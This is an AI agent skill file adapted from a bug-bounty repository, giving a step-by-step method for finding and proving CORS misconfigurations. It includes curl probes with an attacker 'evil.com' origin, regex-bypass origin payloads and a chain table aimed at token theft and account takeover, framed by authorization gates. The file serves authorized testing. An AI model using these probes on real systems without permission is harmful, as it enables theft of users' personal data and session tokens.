--- name: hunt-cors description: Hunt CORS Misconfiguration category: security risk: offensive source: https://github.com/elementalsouls/Claude-BugHunter source_repo: elementalsouls/Claude-BugHunter source_type: community date_added: '2026-09-20' license: MIT license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE compatibility: Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled. report_count: 19 sources: hackerone_public --- > **⚠️ AUTHORIZED USE ONLY** > This skill is for educational purposes or authorized security assessments only. > You must have explicit, written permission from the system owner before using this tool. > Misuse of this tool is illegal and strictly prohibited. > **Mandatory confirmation gate** > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target: > 1. Ask the user to state the exact target URL, IP, account, or resource. > 2. Ask the user to confirm written authorization and the permitted scope. > 3. Show the exact command(s) and explain their expected effect. > 4. Wait for explicit confirmation in the current conversation. > > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab. # HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration ## What actually pays (and what does not) Credentialed cross-origin data disclosure is established **only** when an attacker-controlled origin can perform a **credentialed** cross-origin read of sensitive authenticated data, and you have a browser PoC proving the response body is readable from `evil.com`. Two hard browser rules that kill most "findings" — check these FIRST: - **`Access-Control-Allow-Origin: *` CANNOT be combined with credentials.** If the server returns `ACAO: *`, the browser refuses to expose the response for a `credentials: include` request; a simple request may still have been sent, so this is not CSRF protection. A wildcard-only endpoint is **not** credential-exploitable. It is only interesting if the data it serves is sensitive *without* a session (rare) — usually this is Informational/Low. - **`Access-Control-Allow-Credentials: true` is meaningless on its own.** It matters only if `ACAO` reflects/allows your specific attacker origin AND a cross-origin credentialed `fetch` actually returns a readable body. ACAC on a response that does not reflect your origin proves nothing. For a credentialed-read claim, prove browser-readable protected data under the actual cookie/browser conditions. Header differences alone do not establish impact; severity follows the application and program, not this guide. --- ## Crown Jewel Targets - **Reflect-any-origin + credentials** — server echoes the `Origin` header AND sets `ACAC: true` → any site reads authed API responses. The classic High. - **Null-origin trust** — `ACAO: null` + `ACAC: true`. A `sandbox` iframe (or a `data:`/redirect chain) emits `Origin: null`, so a controlled opaque-origin document may read data if cookies and all browser checks permit it. - **Subdomain-regex bypass** — trusted-origin regex with a parsing flaw. The correct payload depends on *which* flaw (see Phase 3 — this is where most skills get it wrong). - **Subdomain takeover → trusted origin** — a dangling subdomain that the CORS policy trusts; take it over, host the PoC there (see hunt-subdomain). - **postMessage missing/loose origin check** — handler that processes `event.data` without strictly validating `event.origin`. --- ## Attack Surface Signals ``` Any endpoint returning an Access-Control-Allow-Origin header API endpoints: /api/*, /v1/*, /graphql Profile/account: /api/me, /api/profile, /api/user, /api/session Secrets/tokens: /api/tokens, /api/keys, /api/csrf, /api/account/settings Financial: /api/balance, /api/transactions Admin/internal: /api/admin/*, /api/internal/* ``` Prioritize endpoints that (a) require a session cookie and (b) return PII, tokens, CSRF tokens, or other secrets in the body. --- ## Step-by-Step Hunting Methodology After the exact-command gate, use only owner-approved URLs/accounts and origins you control. Validate bulk input against the scope allowlist before adding any credential. CURL_AUTH_CONFIG is an existing private untracked curl config containing only the test account’s cookie; do not put it in argv, logs or reports. Do not follow redirects with account cookies across an unreviewed destination. Header probes are hypotheses, not browser evidence. ### Phase 1 — Discover CORS endpoints ```bash # Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET, # and -I sends HEAD which may be handled differently. while IFS= read -r url; do result=$(curl -s -D - -o /dev/null "$url" \ -H "Origin: https://evil.com" \ --config "$CURL_AUTH_CONFIG" | grep -i "access-control") [ -n "$result" ] && echo "=== $url ===" && echo "$result" done < "recon/$TARGET/api-endpoints.txt" # httpx bulk check cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \ httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin" ``` ### Phase 2 — Reflect-any-origin + null origin ```bash # Does the server reflect an arbitrary Origin back? curl -s -D - -o /dev/null https://$TARGET/api/me \ -H "Origin: https://evil.com" \ --config "$CURL_AUTH_CONFIG" | grep -i "access-control" # Vulnerable (the High case): # Access-Control-Allow-Origin: https://evil.com <- reflects attacker origin # Access-Control-Allow-Credentials: true <- + credentials => readable # # NOT exploitable for credentialed theft: # Access-Control-Allow-Origin: * <- browser blocks creds read # (no ACAC, or ACAC absent) <- not credentialed # Null-origin trust curl -s -D - -o /dev/null https://$TARGET/api/me \ -H "Origin: null" \ --config "$CURL_AUTH_CONFIG" | grep -i "access-control" # Looking for: Access-Control-Allow-Origin: null + ACAC: true ``` ### Phase 3 — Subdomain / trusted-origin regex bypass The right payload depends on **which** regex flaw the server has. Identify the class first, then send the matching payload. Getting this wrong wastes the test and produces false negatives. | Server regex (intended: trust `*.target.com`) | Flaw | Bypass origin that matches | Why | |---|---|---|---| | `^https?://.*\.target\.com$` | **None** — escaped dot + end-anchor. Correct. | (no simple bypass) | `evil.target.com` is in-scope by design; `x.target.com.evil.com` ENDS in `.evil.com`, fails `$`. Move on or look for subdomain-takeover. | | `^https?://.*target\.com$` | **Missing dot separator** (no `\.` before `target`) | `https://eviltarget.com` | `.*target\.com$` matches `eviltarget.com` — attacker registers `eviltarget.com`. | | `^https?://.*\.target\.com` | **Missing end-anchor `$`** | `https://x.target.com.evil.com` | regex matches a prefix; `.target.com` appears, then `.evil.com` is ignored (no `$`). | | `^https?://target\.com` | **Prefix-only, no `$`** | `https://target.com.evil.com` | matches the `target.com` prefix; the rest is unconstrained. | | `^https?://.*\.target\.com$` but dot in regex is **unescaped** (`.*.target.com$`) | **Unescaped dot** = "any char" | `https://xtargetXcom...` style, or `https://evilZtargetZcom` where `Z` is any single char | `.` matches any character, widening the match. | | Any of the above | **Special chars browsers send in Origin** | `https://target.com%60.evil.com`, `https://target.com\x60evil.com` | some parsers treat backtick/underscore as letters; Safari/older browsers may emit unusual origins. Confirm the browser actually sends it. | ```bash # Send each class-specific payload and watch what the server reflects. for ORIGIN in \ "https://evil.target.com" \ "https://eviltarget.com" \ "https://x.target.com.evil.com" \ "https://target.com.evil.com" \ "https://target.com%60.evil.com" \ "http://target.com"; do RESULT=$(curl -s -D - -o /dev/null "https://$TARGET/api/me" \ -H "Origin: $ORIGIN" \ --config "$CURL_AUTH_CONFIG" | grep -i "access-control") echo "[$ORIGIN] -> ${RESULT:-no CORS}" done ``` A bypass is real only if the server reflects **your registerable origin** into `ACAO` with `ACAC: true`. `evil.target.com` reflecting back is NOT a bug unless you can actually control a `*.target.com` host (then see Phase 6 / hunt-subdomain). ### Phase 3b — Trusted insecure (HTTP) origin If ACAO reflects/allows any `http://` origin (even a correctly-anchored in-scope one) with ACAC:true, a network attacker on that cleartext host injects a page that reads the authed cross-origin body — no regex flaw needed, the plaintext scheme IS the flaw. ```bash curl -s -D- -o/dev/null "https://$TARGET/api/me" -H "Origin: http://sub.$TARGET" --config "$CURL_AUTH_CONFIG" | grep -i access-control ``` Real only if a MITM can occupy that http origin (no HSTS-preload). Pair with `hunt-tls-network`. (PortSwigger: CORS with trusted insecure protocols.) ### Phase 4 — Pre-flight (OPTIONS) gating bypass Non-simple requests (custom headers, `PUT`/`DELETE`/`PATCH`, non-simple `Content-Type`) trigger a CORS **pre-flight** `OPTIONS`. The browser only sends the real request if the pre-flight response authorizes the method/header. Two things to test: 1. **Does the pre-flight authorize arbitrary methods/headers for your origin?** If `Access-Control-Allow-Methods` / `Access-Control-Allow-Headers` reflect whatever you ask for, a malicious origin may be permitted to send state-changing requests (provided the actual cookie policy and server authorization permit it; CORS does not override SameSite or reveal a secret custom-auth header). ```bash curl -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \ -H "Origin: https://evil.com" \ -H "Access-Control-Request-Method: PUT" \ -H "Access-Control-Request-Headers: x-custom-auth, content-type" \ | grep -i "access-control" # Vulnerable: ACAO reflects evil.com + ACAC:true + # Access-Control-Allow-Methods: PUT + Access-Control-Allow-Headers: x-custom-auth # => possible request permission only; demonstrate actual browser credential delivery and server authorization in a synthetic fixture. ``` 2. **Is the pre-flight even enforced server-side?** Some servers reflect the origin on `OPTIONS` but the actual GET/POST also reflects — the read path is the bug; the pre-flight just confirms write-path reach. Test the GET/POST directly too — never assume the pre-flight result equals the real-request result. Confirm in a browser, because curl ignores CORS entirely. ### Phase 5 — Browser PoCs (the only thing that proves impact) curl does NOT enforce CORS — it will happily show you a reflected header even when a browser would block the read. **Every CORS High needs a browser PoC.** **5a. Reflect-any-origin read** (host on evil.com, open while logged into target): ```html


```
If you see `BLOCKED` / a TypeError, the browser refused the read — it is NOT a
valid finding regardless of what curl showed (this is the `ACAO: *` + creds case).

**5b. Null-origin read** — a `sandbox` iframe sends `Origin: null`. The inner
document must lack `allow-same-origin` so its origin is opaque (`null`):
```html




```
(Alternative null-origin emitters: a sandboxed or data document with a verified opaque origin. A blob URL usually inherits its creator origin; redirect behavior is not a universal null-origin emitter.)

**5c. Trusted-subdomain read** — once you control a host that the regex trusts
(real subdomain via takeover, or a registerable origin that matches a buggy
regex from Phase 3), host **5a** there. The reflected origin is now an origin
you legitimately serve, so the browser allows the read.

### Phase 6 — postMessage origin check
```bash
# Find message handlers that don't strictly validate event.origin.
grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \
  | grep -v "\.origin"
# Then audit each hit: does it check event.origin against an allowlist
# BEFORE using event.data? Weak checks to flag:
#   .indexOf("target.com") > -1      <- "target.com.evil.com" passes
#   .endsWith("target.com")          <- "eviltarget.com" passes
#   startsWith("https://target")     <- "https://target.evil.com" passes
#   no check at all
```
postMessage is a separate class from HTTP CORS — impact is DOM-side (XSS,
client-side auth bypass). See hunt-dom for exploitation depth.

---

## Automation (triage only — never the proof)
```bash
# Optional third-party scanner: resolve its real upstream, reviewed version,
# interface and isolated environment first. No corsy command is bundled here;
# do not assume a pip package with that name is the intended project.

# nuclei CORS templates
nuclei -u https://$TARGET -t http/misconfiguration/cors/

# Burp: passively flags origin reflection; always re-confirm in a real browser.
```
Every automated hit is a lead, not a finding. Reproduce 5a/5b in a browser.

---

A browser TypeError has multiple causes (network, TLS, preflight, cookie policy or CORS). Inspect DevTools before declaring the server secure or the hypothesis false. Match actual serialized origin, scheme and port; prefer a parsed explicit allowlist over a hostname regex in defensive fixes. A regex accepting intended subdomains is not automatically safe if those subdomains host untrusted users.

## Chain Table

| CORS finding | Chain to | Impact |
|---|---|---|
| Reflects attacker origin + creds | Browser-read `/api/me`, `/api/tokens`, `/api/csrf` | PII + token + CSRF-token theft → often ATO |
| Reflects origin + reads CSRF token | hunt-csrf: steal token → forge state change | CSRF on CSRF-protected forms |
| Pre-flight allows arbitrary method/header | Drive authed `PUT`/`DELETE` from evil origin | Cross-origin state change |
| Trusted subdomain has XSS | hunt-xss → run 5a from trusted origin | Reliable credentialed read |
| Dangling trusted subdomain | hunt-subdomain takeover → host 5c there | Full credentialed read |
| postMessage no/loose origin check | hunt-dom: inject iframe, send crafted message | DOM XSS / client auth bypass |

---

## Validation discipline (read before submitting)

- **Browser proof mandatory.** curl reflecting a header is NOT exploitation.
  Show a screenshot/console log of the authed body read from `evil.com`. If the
  fetch throws / logs `BLOCKED`, you have nothing.
- **`ACAO: *` blocks credentialed response exposure.** It does not prove the server rejected the request. Only pursue
  wildcard if the data is sensitive unauthenticated (then it is usually Low).
- **`ACAC: true` alone proves nothing** — it must pair with your reflected
  origin AND a successful readable cross-origin body.
- **Match the regex class to the payload (Phase 3).** Do not submit
  `target.com.evil.com` against an end-anchored escaped-dot regex — it does not
  match and is not a bug.
- **`evil.target.com` reflecting is not automatically a bug** — it is an
  in-scope subdomain by design unless you can actually control it.
- **Evidence minimization:** use a synthetic protected canary in an owner-provided test account. Keep proof local; any approved OOB service should receive only a unique non-sensitive marker, never the full response, session token or PII.
- **Sensitive data requirement.** A readable `/api/health` is not High. Tie the
  read to PII, tokens, secrets, or financial data to justify severity.

**Illustrative impact triage, not automatic severity or bounty authority:**
- Reflects attacker origin + creds + sensitive body, browser-proven: High
- Pre-flight authorizes attacker-origin state change on sensitive action: High
- Null-origin + sensitive authed body, browser-proven: Medium–High
- Subdomain-takeover/XSS-assisted credentialed read: High/Critical
- Reflects origin, no credentials / non-sensitive: Low–Informational
- `ACAO: *` only (no creds possible): Informational unless data is secret

## When to Use

- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

## Limitations

- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; resolve and review any separately supplied tool before installation; this package provides no executable helper.
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.

### Example

```bash
# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief
```

> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.